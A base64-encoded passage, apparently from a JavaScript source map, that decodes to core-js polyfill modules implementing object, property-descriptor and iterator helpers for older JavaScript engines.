ZXcgQyhhKTtcbiAgICAgICAgICAgIGNhc2UgMjogcmV0dXJuIG5ldyBDKGEsIGIpO1xuICAgICAgICAgIH0gcmV0dXJuIG5ldyBDKGEsIGIsIGMpO1xuICAgICAgICB9IHJldHVybiBDLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgICB9O1xuICAgICAgRltQUk9UT1RZUEVdID0gQ1tQUk9UT1RZUEVdO1xuICAgICAgcmV0dXJuIEY7XG4gICAgLy8gbWFrZSBzdGF0aWMgdmVyc2lvbnMgZm9yIHByb3RvdHlwZSBtZXRob2RzXG4gICAgfSkob3V0KSA6IElTX1BST1RPICYmIHR5cGVvZiBvdXQgPT0gJ2Z1bmN0aW9uJyA/IGN0eChGdW5jdGlvbi5jYWxsLCBvdXQpIDogb3V0O1xuICAgIC8vIGV4cG9ydCBwcm90byBtZXRob2RzIHRvIGNvcmUuJUNPTlNUUlVDVE9SJS5tZXRob2RzLiVOQU1FJVxuICAgIGlmIChJU19QUk9UTykge1xuICAgICAgKGV4cG9ydHMudmlydHVhbCB8fCAoZXhwb3J0cy52aXJ0dWFsID0ge30pKVtrZXldID0gb3V0O1xuICAgICAgLy8gZXhwb3J0IHByb3RvIG1ldGhvZHMgdG8gY29yZS4lQ09OU1RSVUNUT1IlLnByb3RvdHlwZS4lTkFNRSVcbiAgICAgIGlmICh0eXBlICYgJGV4cG9ydC5SICYmIGV4cFByb3RvICYmICFleHBQcm90b1trZXldKSBoaWRlKGV4cFByb3RvLCBrZXksIG91dCk7XG4gICAgfVxuICB9XG59O1xuLy8gdHlwZSBiaXRtYXBcbiRleHBvcnQuRiA9IDE7ICAgLy8gZm9yY2VkXG4kZXhwb3J0LkcgPSAyOyAgIC8vIGdsb2JhbFxuJGV4cG9ydC5TID0gNDsgICAvLyBzdGF0aWNcbiRleHBvcnQuUCA9IDg7ICAgLy8gcHJvdG9cbiRleHBvcnQuQiA9IDE2OyAgLy8gYmluZFxuJGV4cG9ydC5XID0gMzI7ICAvLyB3cmFwXG4kZXhwb3J0LlUgPSA2NDsgIC8vIHNhZmVcbiRleHBvcnQuUiA9IDEyODsgLy8gcmVhbCBwcm90byBtZXRob2QgZm9yIGBsaWJyYXJ5YFxubW9kdWxlLmV4cG9ydHMgPSAkZXhwb3J0O1xuIiwibW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoZXhlYykge1xuICB0cnkge1xuICAgIHJldHVybiAhIWV4ZWMoKTtcbiAgfSBjYXRjaCAoZSkge1xuICAgIHJldHVybiB0cnVlO1xuICB9XG59O1xuIiwiLy8gaHR0cHM6Ly9naXRodWIuY29tL3psb2lyb2NrL2NvcmUtanMvaXNzdWVzLzg2I2lzc3VlY29tbWVudC0xMTU3NTkwMjhcbnZhciBnbG9iYWwgPSBtb2R1bGUuZXhwb3J0cyA9IHR5cGVvZiB3aW5kb3cgIT0gJ3VuZGVmaW5lZCcgJiYgd2luZG93Lk1hdGggPT0gTWF0aFxuICA/IHdpbmRvdyA6IHR5cGVvZiBzZWxmICE9ICd1bmRlZmluZWQnICYmIHNlbGYuTWF0aCA9PSBNYXRoID8gc2VsZlxuICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgbm8tbmV3LWZ1bmNcbiAgOiBGdW5jdGlvbigncmV0dXJuIHRoaXMnKSgpO1xuaWYgKHR5cGVvZiBfX2cgPT0gJ251bWJlcicpIF9fZyA9IGdsb2JhbDsgLy8gZXNsaW50LWRpc2FibGUtbGluZSBuby11bmRlZlxuIiwidmFyIGhhc093blByb3BlcnR5ID0ge30uaGFzT3duUHJvcGVydHk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCwga2V5KSB7XG4gIHJldHVybiBoYXNPd25Qcm9wZXJ0eS5jYWxsKGl0LCBrZXkpO1xufTtcbiIsInZhciBkUCA9IHJlcXVpcmUoJy4vX29iamVjdC1kcCcpO1xudmFyIGNyZWF0ZURlc2MgPSByZXF1aXJlKCcuL19wcm9wZXJ0eS1kZXNjJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4vX2Rlc2NyaXB0b3JzJykgPyBmdW5jdGlvbiAob2JqZWN0LCBrZXksIHZhbHVlKSB7XG4gIHJldHVybiBkUC5mKG9iamVjdCwga2V5LCBjcmVhdGVEZXNjKDEsIHZhbHVlKSk7XG59IDogZnVuY3Rpb24gKG9iamVjdCwga2V5LCB2YWx1ZSkge1xuICBvYmplY3Rba2V5XSA9IHZhbHVlO1xuICByZXR1cm4gb2JqZWN0O1xufTtcbiIsInZhciBkb2N1bWVudCA9IHJlcXVpcmUoJy4vX2dsb2JhbCcpLmRvY3VtZW50O1xubW9kdWxlLmV4cG9ydHMgPSBkb2N1bWVudCAmJiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQ7XG4iLCJtb2R1bGUuZXhwb3J0cyA9ICFyZXF1aXJlKCcuL19kZXNjcmlwdG9ycycpICYmICFyZXF1aXJlKCcuL19mYWlscycpKGZ1bmN0aW9uICgpIHtcbiAgcmV0dXJuIE9iamVjdC5kZWZpbmVQcm9wZXJ0eShyZXF1aXJlKCcuL19kb20tY3JlYXRlJykoJ2RpdicpLCAnYScsIHsgZ2V0OiBmdW5jdGlvbiAoKSB7IHJldHVybiA3OyB9IH0pLmEgIT0gNztcbn0pO1xuIiwiLy8gZmFsbGJhY2sgZm9yIG5vbi1hcnJheS1saWtlIEVTMyBhbmQgbm9uLWVudW1lcmFibGUgb2xkIFY4IHN0cmluZ3NcbnZhciBjb2YgPSByZXF1aXJlKCcuL19jb2YnKTtcbi8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1wcm90b3R5cGUtYnVpbHRpbnNcbm1vZHVsZS5leHBvcnRzID0gT2JqZWN0KCd6JykucHJvcGVydHlJc0VudW1lcmFibGUoMCkgPyBPYmplY3QgOiBmdW5jdGlvbiAoaXQpIHtcbiAgcmV0dXJuIGNvZihpdCkgPT0gJ1N0cmluZycgPyBpdC5zcGxpdCgnJykgOiBPYmplY3QoaXQpO1xufTtcbiIsIi8vIGNoZWNrIG9uIGRlZmF1bHQgQXJyYXkgaXRlcmF0b3JcbnZhciBJdGVyYXRvcnMgPSByZXF1aXJlKCcuL19pdGVyYXRvcnMnKTtcbnZhciBJVEVSQVRPUiA9IHJlcXVpcmUoJy4vX3drcycpKCdpdGVyYXRvcicpO1xudmFyIEFycmF5UHJvdG8gPSBBcnJheS5wcm90b3R5cGU7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHJldHVybiBpdCAhPT0gdW5kZWZpbmVkICYmIChJdGVyYXRvcnMuQXJyYXkgPT09IGl0IHx8IEFycmF5UHJvdG9bSVRFUkFUT1JdID09PSBpdCk7XG59O1xuIiwibW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgcmV0dXJuIHR5cGVvZiBpdCA9PT0gJ29iamVjdCcgPyBpdCAhPT0gbnVsbCA6IHR5cGVvZiBpdCA9PT0gJ2Z1bmN0aW9uJztcbn07XG4iLCIvLyBjYWxsIHNvbWV0aGluZyBvbiBpdGVyYXRvciBzdGVwIHdpdGggc2FmZSBjbG9zaW5nIG9uIGVycm9yXG52YXIgYW5PYmplY3QgPSByZXF1aXJlKCcuL19hbi1vYmplY3QnKTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0ZXJhdG9yLCBmbiwgdmFsdWUsIGVudHJpZXMpIHtcbiAgdHJ5IHtcbiAgICByZXR1cm4gZW50cmllcyA/IGZuKGFuT2JqZWN0KHZhbHVlKVswXSwgdmFsdWVbMV0pIDogZm4odmFsdWUpO1xuICAvLyA3LjQuNiBJdGVyYXRvckNsb3NlKGl0ZXJhdG9yLCBjb21wbGV0aW9uKVxuICB9IGNhdGNoIChlKSB7XG4gICAgdmFyIHJldCA9IGl0ZXJhdG9yWydyZXR1cm4nXTtcbiAgICBpZiAocmV0ICE9PSB1bmRlZmluZWQpIGFuT2JqZWN0KHJldC5jYWxsKGl0ZXJhdG9yKSk7XG4gICAgdGhyb3cgZTtcbiAgfVxufTtcbiIsIid1c2Ugc3RyaWN0JztcbnZhciBjcmVhdGUgPSByZXF1aXJlKCcuL19vYmplY3QtY3JlYXRlJyk7XG52YXIgZGVzY3JpcHRvciA9IHJlcXVpcmUoJy4vX3Byb3BlcnR5LWRlc2MnKTtcbnZhciBzZXRUb1N0cmluZ1RhZyA9IHJlcXVpcmUoJy4vX3NldC10by1zdHJpbmctdGFnJyk7XG52YXIgSXRlcmF0b3JQcm90b3R5cGUgPSB7fTtcblxuLy8gMjUuMS4yLjEuMSAlSXRlcmF0b3JQcm90b3R5cGUlW0BAaXRlcmF0b3JdKClcbnJlcXVpcmUoJy4vX2hpZGUnKShJdGVyYXRvclByb3RvdHlwZSwgcmVxdWlyZSgnLi9fd2tzJykoJ2l0ZXJhdG9yJyksIGZ1bmN0aW9uICgpIHsgcmV0dXJuIHRoaXM7IH0pO1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgTkFNRSwgbmV4dCkge1xuICBDb25zdHJ1Y3Rvci5wcm90b3R5cGUgPSBjcmVhdGUoSXRlcmF0b3JQcm90b3R5cGUsIHsgbmV4dDogZGVzY3JpcHRvcigxLCBuZXh0KSB9KTtcbiAgc2V0VG9TdHJpbmdUYWcoQ29uc3RydWN0b3IsIE5BTUUgKyAnIEl0ZXJhdG9yJyk7XG59O1xuIiwiJ3VzZSBzdHJpY3QnO1xudmFyIExJQlJBUlkgPSByZXF1aXJlKCcuL19saWJyYXJ5Jyk7XG52YXIgJGV4cG9ydCA9IHJlcXVpcmUoJy4vX2V4cG9ydCcpO1xudmFyIHJlZGVmaW5lID0gcmVxdWlyZSgnLi9fcmVkZWZpbmUnKTtcbnZhciBoaWRlID0gcmVxdWlyZSgnLi9faGlkZScpO1xudmFyIEl0ZXJhdG9ycyA9IHJlcXVpcmUoJy4vX2l0ZXJhdG9ycycpO1xudmFyICRpdGVyQ3JlYXRlID0gcmVxdWlyZSgnLi9faXRlci1jcmVhdGUnKTtcbnZhciBzZXRUb1N0cmluZ1RhZyA9IHJlcXVpcmUoJy4vX3NldC10by1zdHJpbmctdGFnJyk7XG52YXIgZ2V0UHJvdG90eXBlT2YgPSByZXF1aXJlKCcuL19vYmplY3QtZ3BvJyk7XG52YXIgSVRFUkFUT1IgPSByZXF1aXJlKCcuL193a3MnKSgnaXRlcmF0b3InKTtcbnZhciBCVUdHWSA9ICEoW10ua2V5cyAmJiAnbmV4dCcgaW4gW10ua2V5cygpKTsgLy8gU2FmYXJpIGhhcyBidWdneSBpdGVyYXRvcnMgdy9vIGBuZXh0YFxudmFyIEZGX0lURVJBVE9SID0gJ0BAaXRlcmF0b3InO1xudmFyIEtFWVMgPSAna2V5cyc7XG52YXIgVkFMVUVTID0gJ3ZhbHVlcyc7XG5cbnZhciByZXR1cm5UaGlzID0gZnVuY3Rpb24gKCkgeyByZXR1cm4gdGhpczsgfTtcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoQmFzZSwgTkFNRSwgQ29uc3RydWN0b3IsIG5leHQsIERFRkFVTFQsIElTX1NFVCwgRk9SQ0VEKSB7XG4gICRpdGVyQ3JlYXRlKENvbnN0cnVjdG9yLCBOQU1FLCBuZXh0KTtcbiAgdmFyIGdldE1ldGhvZCA9IGZ1bmN0aW9uIChraW5kKSB7XG4gICAgaWYgKCFCVUdHWSAmJiBraW5kIGluIHByb3RvKSByZXR1cm4gcHJvdG9ba2luZF07XG4gICAgc3dpdGNoIChraW5kKSB7XG4gICAgICBjYXNlIEtFWVM6IHJldHVybiBmdW5jdGlvbiBrZXlzKCkgeyByZXR1cm4gbmV3IENvbnN0cnVjdG9yKHRoaXMsIGtpbmQpOyB9O1xuICAgICAgY2FzZSBWQUxVRVM6IHJldHVybiBmdW5jdGlvbiB2YWx1ZXMoKSB7IHJldHVybiBuZXcgQ29uc3RydWN0b3IodGhpcywga2luZCk7IH07XG4gICAgfSByZXR1cm4gZnVuY3Rpb24gZW50cmllcygpIHsgcmV0dXJuIG5ldyBDb25zdHJ1Y3Rvcih0aGlzLCBraW5kKTsgfTtcbiAgfTtcbiAgdmFyIFRBRyA9IE5BTUUgKyAnIEl0ZXJhdG9yJztcbiAgdmFyIERFRl9WQUxVRVMgPSBERUZBVUxUID09IFZBTFVFUztcbiAgdmFyIFZBTFVFU19CVUcgPSBmYWxzZTtcbiAgdmFyIHByb3RvID0gQmFzZS5wcm90b3R5cGU7XG4gIHZhciAkbmF0aXZlID0gcHJvdG9bSVRFUkFUT1JdIHx8IHByb3RvW0ZGX0lURVJBVE9SXSB8fCBERUZBVUxUICYmIHByb3RvW0RFRkFVTFRdO1xuICB2YXIgJGRlZmF1bHQgPSAkbmF0aXZlIHx8IGdldE1ldGhvZChERUZBVUxUKTtcbiAgdmFyICRlbnRyaWVzID0gREVGQVVMVCA/ICFERUZfVkFMVUVTID8gJGRlZmF1bHQgOiBnZXRNZXRob2QoJ2VudHJpZXMnKSA6IHVuZGVmaW5lZDtcbiAgdmFyICRhbnlOYXRpdmUgPSBOQU1FID09ICdBcnJheScgPyBwcm90by5lbnRyaWVzIHx8ICRuYXRpdmUgOiAkbmF0aXZlO1xuICB2YXIgbWV0aG9kcywga2V5LCBJdGVyYXRvclByb3RvdHlwZTtcbiAgLy8gRml4IG5hdGl2ZVxuICBpZiAoJGFueU5hdGl2ZSkge1xuICAgIEl0ZXJhdG9yUHJvdG90eXBlID0gZ2V0UHJvdG90eXBlT2YoJGFueU5hdGl2ZS5jYWxsKG5ldyBCYXNlKCkpKTtcbiAgICBpZiAoSXRlcmF0b3JQcm90b3R5cGUgIT09IE9iamVjdC5wcm90b3R5cGUgJiYgSXRlcmF0b3JQcm90b3R5cGUubmV4dCkge1xuICAgICAgLy8gU2V0IEBAdG9TdHJpbmdUYWcgdG8gbmF0aXZlIGl0ZXJhdG9yc1xuICAgICAgc2V0VG9TdHJpbmdUYWcoSXRlcmF0b3JQcm90b3R5cGUsIFRBRywgdHJ1ZSk7XG4gICAgICAvLyBmaXggZm9yIHNvbWUgb2xkIGVuZ2luZXNcbiAgICAgIGlmICghTElCUkFSWSAmJiB0eXBlb2YgSXRlcmF0b3JQcm90b3R5cGVbSVRFUkFUT1JdICE9ICdmdW5jdGlvbicpIGhpZGUoSXRlcmF0b3JQcm90b3R5cGUsIElURVJBVE9SLCByZXR1cm5UaGlzKTtcbiAgICB9XG4gIH1cbiAgLy8gZml4IEFycmF5I3t2YWx1ZXMsIEBAaXRlcmF0b3J9Lm5hbWUgaW4gVjggLyBGRlxuICBpZiAoREVGX1ZBTFVFUyAmJiAkbmF0aXZlICYmICRuYXRpdmUubmFtZSAhPT0gVkFMVUVTKSB7XG4gICAgVkFMVUVTX0JVRyA9IHRydWU7XG4gICAgJGRlZmF1bHQgPSBmdW5jdGlvbiB2YWx1ZXMoKSB7IHJldHVybiAkbmF0aXZlLmNhbGwodGhpcyk7IH07XG4gIH1cbiAgLy8gRGVmaW5lIGl0ZXJhdG9yXG4gIGlmICgoIUxJQlJBUlkgfHwgRk9SQ0VEKSAmJiAoQlVHR1kgfHwgVkFMVUVTX0JVRyB8fCAhcHJvdG9bSVRFUkFUT1JdKSkge1xuICAgIGhpZGUocHJvdG8sIElURVJBVE9SLCAkZGVmYXVsdCk7XG4gIH1cbiAgLy8gUGx1ZyBmb3IgbGlicmFyeVxuICBJdGVyYXRvcnNbTkFNRV0gPSAkZGVmYXVsdDtcbiAgSXRlcmF0b3JzW1RBR10gPSByZXR1cm5UaGlzO1xuICBpZiAoREVGQVVMVCkge1xuICAgIG1ldGhvZHMgPSB7XG4gICAgICB2YWx1ZXM6IERFRl9WQUxVRVMgPyAkZGVmYXVsdCA6IGdldE1ldGhvZChWQUxVRVMpLFxuICAgICAga2V5czogSVNfU0VUID8gJGRlZmF1bHQgOiBnZXRNZXRob2QoS0VZUyksXG4gICAgICBlbnRyaWVzOiAkZW50cmllc1xuICAgIH07XG4gICAgaWYgKEZPUkNFRCkgZm9yIChrZXkgaW4gbWV0aG9kcykge1xuICAgICAgaWYgKCEoa2V5IGluIHByb3RvKSkgcmVkZWZpbmUocHJvdG8sIGtleSwgbWV0aG9kc1trZXldKTtcbiAgICB9IGVsc2UgJGV4cG9ydCgkZXhwb3J0LlAgKyAkZXhwb3J0LkYgKiAoQlVHR1kgfHwgVkFMVUVTX0JVRyksIE5BTUUsIG1ldGhvZHMpO1xuICB9XG4gIHJldHVybiBtZXRob2RzO1xufTtcbiIsInZhciBJVEVSQVRPUiA9IHJlcXVpcmUoJy4vX3drcycpKCdpdGVyYXRvcicpO1xudmFyIFNBRkVfQ0xPU0lORyA9IGZhbHNlO1xuXG50cnkge1xuICB2YXIgcml0ZXIgPSBbN11bSVRFUkFUT1JdKCk7XG4gIHJpdGVyWydyZXR1cm4nXSA9IGZ1bmN0aW9uICgpIHsgU0FGRV9DTE9TSU5HID0gdHJ1ZTsgfTtcbiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXRocm93LWxpdGVyYWxcbiAgQXJyYXkuZnJvbShyaXRlciwgZnVuY3Rpb24gKCkgeyB0aHJvdyAyOyB9KTtcbn0gY2F0Y2ggKGUpIHsgLyogZW1wdHkgKi8gfVxuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChleGVjLCBza2lwQ2xvc2luZykge1xuICBpZiAoIXNraXBDbG9zaW5nICYmICFTQUZFX0NMT1NJTkcpIHJldHVybiBmYWxzZTtcbiAgdmFyIHNhZmUgPSBmYWxzZTtcbiAgdHJ5IHtcbiAgICB2YXIgYXJyID0gWzddO1xuICAgIHZhciBpdGVyID0gYXJyW0lURVJBVE9SXSgpO1xuICAgIGl0ZXIubmV4dCA9IGZ1bmN0aW9uICgpIHsgcmV0dXJuIHsgZG9uZTogc2FmZSA9IHRydWUgfTsgfTtcbiAgICBhcnJbSVRFUkFUT1JdID0gZnVuY3Rpb24gKCkgeyByZXR1cm4gaXRlcjsgfTtcbiAgICBleGVjKGFycik7XG4gIH0gY2F0Y2ggKGUpIHsgLyogZW1wdHkgKi8gfVxuICByZXR1cm4gc2FmZTtcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IHt9O1xuIiwibW9kdWxlLmV4cG9ydHMgPSB0cnVlO1xuIiwiLy8gMTkuMS4yLjIgLyAxNS4yLjMuNSBPYmplY3QuY3JlYXRlKE8gWywgUHJvcGVydGllc10pXG52YXIgYW5PYmplY3QgPSByZXF1aXJlKCcuL19hbi1vYmplY3QnKTtcbnZhciBkUHMgPSByZXF1aXJlKCcuL19vYmplY3QtZHBzJyk7XG52YXIgZW51bUJ1Z0tleXMgPSByZXF1aXJlKCcuL19lbnVtLWJ1Zy1rZXlzJyk7XG52YXIgSUVfUFJPVE8gPSByZXF1aXJlKCcuL19zaGFyZWQta2V5JykoJ0lFX1BST1RPJyk7XG52YXIgRW1wdHkgPSBmdW5jdGlvbiAoKSB7IC8qIGVtcHR5ICovIH07XG52YXIgUFJPVE9UWVBFID0gJ3Byb3RvdHlwZSc7XG5cbi8vIENyZWF0ZSBvYmplY3Qgd2l0aCBmYWtlIGBudWxsYCBwcm90b3R5cGU6IHVzZSBpZnJhbWUgT2JqZWN0IHdpdGggY2xlYXJlZCBwcm90b3R5cGVcbnZhciBjcmVhdGVEaWN0ID0gZnVuY3Rpb24gKCkge1xuICAvLyBUaHJhc2gsIHdhc3RlIGFuZCBzb2RvbXk6IElFIEdDIGJ1Z1xuICB2YXIgaWZyYW1lID0gcmVxdWlyZSgnLi9fZG9tLWNyZWF0ZScpKCdpZnJhbWUnKTtcbiAgdmFyIGkgPSBlbnVtQnVnS2V5cy5sZW5ndGg7XG4gIHZhciBsdCA9ICc8JztcbiAgdmFyIGd0ID0gJz4nO1xuICB2YXIgaWZyYW1lRG9jdW1lbnQ7XG4gIGlmcmFtZS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO1xuICByZXF1aXJlKCcuL19odG1sJykuYXBwZW5kQ2hpbGQoaWZyYW1lKTtcbiAgaWZyYW1lLnNyYyA9ICdqYXZhc2NyaXB0Oic7IC8vIGVzbGludC1kaXNhYmxlLWxpbmUgbm8tc2NyaXB0LXVybFxuICAvLyBjcmVhdGVEaWN0ID0gaWZyYW1lLmNvbnRlbnRXaW5kb3cuT2JqZWN0O1xuICAvLyBodG1sLnJlbW92ZUNoaWxkKGlmcmFtZSk7XG4gIGlmcmFtZURvY3VtZW50ID0gaWZyYW1lLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQ7XG4gIGlmcmFtZURvY3VtZW50Lm9wZW4oKTtcbiAgaWZyYW1lRG9jdW1lbnQud3JpdGUobHQgKyAnc2NyaXB0JyArIGd0ICsgJ2RvY3VtZW50LkY9T2JqZWN0JyArIGx0ICsgJy9zY3JpcHQnICsgZ3QpO1xuICBpZnJhbWVEb2N1bWVudC5jbG9zZSgpO1xuICBjcmVhdGVEaWN0ID0gaWZyYW1lRG9jdW1lbnQuRjtcbiAgd2hpbGUgKGktLSkgZGVsZXRlIGNyZWF0ZURpY3RbUFJPVE9UWVBFXVtlbnVtQnVnS2V5c1tpXV07XG4gIHJldHVybiBjcmVhdGVEaWN0KCk7XG59O1xuXG5tb2R1bGUuZXhwb3J0cyA9IE9iamVjdC5jcmVhdGUgfHwgZnVuY3Rpb24gY3JlYXRlKE8sIFByb3BlcnRpZXMpIHtcbiAgdmFyIHJlc3VsdDtcbiAgaWYgKE8gIT09IG51bGwpIHtcbiAgICBFbXB0eVtQUk9UT1RZUEVdID0gYW5PYmplY3QoTyk7XG4gICAgcmVzdWx0ID0gbmV3IEVtcHR5KCk7XG4gICAgRW1wdHlbUFJPVE9UWVBFXSA9IG51bGw7XG4gICAgLy8gYWRkIFwiX19wcm90b19fXCIgZm9yIE9iamVjdC5nZXRQcm90b3R5cGVPZiBwb2x5ZmlsbFxuICAgIHJlc3VsdFtJRV9QUk9UT10gPSBPO1xuICB9IGVsc2UgcmVzdWx0ID0gY3JlYXRlRGljdCgpO1xuICByZXR1cm4gUHJvcGVydGllcyA9PT0gdW5kZWZpbmVkID8gcmVzdWx0IDogZFBzKHJlc3VsdCwgUHJvcGVydGllcyk7XG59O1xuIiwidmFyIGFuT2JqZWN0ID0gcmVxdWlyZSgnLi9fYW4tb2JqZWN0Jyk7XG52YXIgSUU4X0RPTV9ERUZJTkUgPSByZXF1aXJlKCcuL19pZTgtZG9tLWRlZmluZScpO1xudmFyIHRvUHJpbWl0aXZlID0gcmVxdWlyZSgnLi9fdG8tcHJpbWl0aXZlJyk7XG52YXIgZFAgPSBPYmplY3QuZGVmaW5lUHJvcGVydHk7XG5cbmV4cG9ydHMuZiA9IHJlcXVpcmUoJy4vX2Rlc2NyaXB0b3JzJykgPyBPYmplY3QuZGVmaW5lUHJvcGVydHkgOiBmdW5jdGlvbiBkZWZpbmVQcm9wZXJ0eShPLCBQLCBBdHRyaWJ1dGVzKSB7XG4gIGFuT2JqZWN0KE8pO1xuICBQID0gdG9QcmltaXRpdmUoUCwgdHJ1ZSk7XG4gIGFuT2JqZWN0KEF0dHJpYnV0ZXMpO1xuICBpZiAoSUU4X0RPTV9ERUZJTkUpIHRyeSB7XG4gICAgcmV0dXJuIGRQKE8sIFAsIEF0dHJpYnV0ZXMpO1xuICB9IGNhdGNoIChlKSB7IC8qIGVtcHR5ICovIH1cbiAgaWYgKCdnZXQnIGluIEF0dHJpYnV0ZXMgfHwgJ3NldCcgaW4gQXR0cmlidXRlcykgdGhyb3cgVHlwZUVycm9yKCdBY2Nlc3NvcnMgbm90IHN1cHBvcnRlZCEnKTtcbiAgaWYgKCd2YWx1ZScgaW4gQXR0cmlidXRlcykgT1tQXSA9IEF0dHJpYnV0ZXMudmFsdWU7XG4gIHJldHVybiBPO1xufTtcbiIsInZhciBkUCA9IHJlcXVpcmUoJy4vX29iamVjdC1kcCcpO1xudmFyIGFuT2JqZWN0ID0gcmVxdWlyZSgnLi9fYW4tb2JqZWN0Jyk7XG52YXIgZ2V0S2V5cyA9IHJlcXVpcmUoJy4vX29iamVjdC1rZXlzJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi9fZGVzY3JpcHRvcnMnKSA/IE9iamVjdC5kZWZpbmVQcm9wZXJ0aWVzIDogZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyhPLCBQcm9wZXJ0aWVzKSB7XG4gIGFuT2JqZWN0KE8pO1xuICB2YXIga2V5cyA9IGdldEtleXMoUHJvcGVydGllcyk7XG4gIHZhciBsZW5ndGggPSBrZXlzLmxlbmd0aDtcbiAgdmFyIGkgPSAwO1xuICB2YXIgUDtcbiAgd2hpbGUgKGxlbmd0aCA+IGkpIGRQLmYoTywgUCA9IGtleXNbaSsrXSwgUHJvcGVydGllc1tQXSk7XG4gIHJldHVybiBPO1xufTtcbiIsIi8vIDE5LjEuMi45IC8gMTUuMi4zLjIgT2JqZWN0LmdldFByb3RvdHlwZU9mKE8pXG52YXIgaGFzID0gcmVxdWlyZSgnLi9faGFzJyk7XG52YXIgdG9PYmplY3QgPSByZXF1aXJlKCcuL190by1vYmplY3QnKTtcbnZhciBJRV9QUk9UTyA9IHJlcXVpcmUoJy4vX3NoYXJlZC1rZXknKSgnSUVfUFJPVE8nKTtcbnZhciBPYmplY3RQcm90byA9IE9iamVjdC5wcm90b3R5cGU7XG5cbm1vZHVsZS5leHBvcnRzID0gT2JqZWN0LmdldFByb3RvdHlwZU9mIHx8IGZ1bmN0aW9uIChPKSB7XG4gIE8gPSB0b09iamVjdChPKTtcbiAgaWYgKGhhcyhPLCBJRV9QUk9UTykpIHJldHVybiBPW0lFX1BST1RPXTtcbiAgaWYgKHR5cGVvZiBPLmNvbnN0cnVjdG9yID09ICdmdW5jdGlvbicgJiYgTyBpbnN0YW5jZW9mIE8uY29uc3RydWN0b3IpIHtcbiAgICByZXR1cm4gTy5jb25zdHJ1Y3Rvci5wcm90b3R5cGU7XG4gIH0gcmV0dXJuIE8gaW5zdGFuY2VvZiBPYmplY3QgPyBPYmplY3RQcm90byA6IG51bGw7XG59O1xuIiwidmFyIGhhcyA9IHJlcXVpcmUoJy4vX2hhcycpO1xudmFyIHRvSU9iamVjdCA9IHJlcXVpcmUoJy4vX3RvLWlvYmplY3QnKTtcbnZhciBhcnJheUluZGV4T2YgPSByZXF1aXJlKCcuL19hcnJheS1pbmNsdWRlcycpKGZhbHNlKTtcbnZhciBJRV9QUk9UTyA9IHJlcXVpcmUoJy4vX3NoYXJlZC1rZXknKSgnSUVfUFJPVE8nKTtcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAob2JqZWN0LCBuYW1lcykge1xuICB2YXIgTyA9IHRvSU9iamVjdChvYmplY3QpO1xuICB2YXIgaSA9IDA7XG4gIHZhciByZXN1bHQgPSBbXTtcbiAgdmFyIGtleTtcbiAgZm9yIChrZXkgaW4gTykgaWYgKGtleSAhPSBJRV9QUk9UTykgaGFzKE8sIGtleSkgJiYgcmVzdWx0LnB1c2goa2V5KTtcbiAgLy8gRG9uJ3QgZW51bSBidWcgJiBoaWRkZW4ga2V5c1xuICB3aGlsZSAobmFtZXMubGVuZ3RoID4gaSkgaWYgKGhhcyhPLCBrZXkgPSBuYW1lc1tpKytdKSkge1xuICAgIH5hcnJheUluZGV4T2YocmVzdWx0LCBrZXkpIHx8IHJlc3VsdC5wdXNoKGtleSk7XG4gIH1cbiAgcmV0dXJuIHJlc3VsdDtcbn07XG4iLCIvLyAxOS4xLjIuMTQgLyAxNS4yLjMuMTQgT2JqZWN0LmtleXMoTylcbnZhciAka2V5cyA9IHJlcXVpcmUoJy4vX29iamVjdC1rZXlzLWludGVybmFsJyk7XG52YXIgZW51bUJ1Z0tleXMgPSByZXF1aXJlKCcuL19lbnVtLWJ1Zy1rZXlzJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gT2JqZWN0LmtleXMgfHwgZnVuY3Rpb24ga2V5cyhPKSB7XG4gIHJldHVybiAka2V5cyhPLCBlbnVtQnVnS2V5cyk7XG59O1xuIiwiLy8gbW9zdCBPYmplY3QgbWV0aG9kcyBieSBFUzYgc2hvdWxkIGFjY2VwdCBwcmltaXRpdmVzXG52YXIgJGV4cG9ydCA9IHJlcXVpcmUoJy4vX2V4cG9ydCcpO1xudmFyIGNvcmUgPSByZXF1aXJlKCcuL19jb3JlJyk7XG52YXIgZmFpbHMgPSByZXF1aXJlKCcuL19mYWlscycpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoS0VZLCBleGVjKSB7XG4gIHZhciBmbiA9IChjb3JlLk9iamVjdCB8fCB7fSlbS0VZXSB8fCBPYmplY3RbS0VZXTtcbiAgdmFyIGV4cCA9IHt9O1xuICBleHBbS0VZXSA9IGV4ZWMoZm4pO1xuICAkZXhwb3J0KCRleHBvcnQuUyArICRleHBvcnQuRiAqIGZhaWxzKGZ1bmN0aW9uICgpIHsgZm4oMSk7IH0pLCAnT2JqZWN0JywgZXhwKTtcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChiaXRtYXAsIHZhbHVlKSB7XG4gIHJldHVybiB7XG4gICAgZW51bWVyYWJsZTogIShiaXRtYXAgJiAxKSxcbiAgICBjb25maWd1cmFibGU6ICEoYml0bWFwICYgMiksXG4gICAgd3JpdGFibGU6ICEoYml0bWFwICYgNCksXG4gICAgdmFsdWU6IHZhbHVlXG4gIH07XG59O1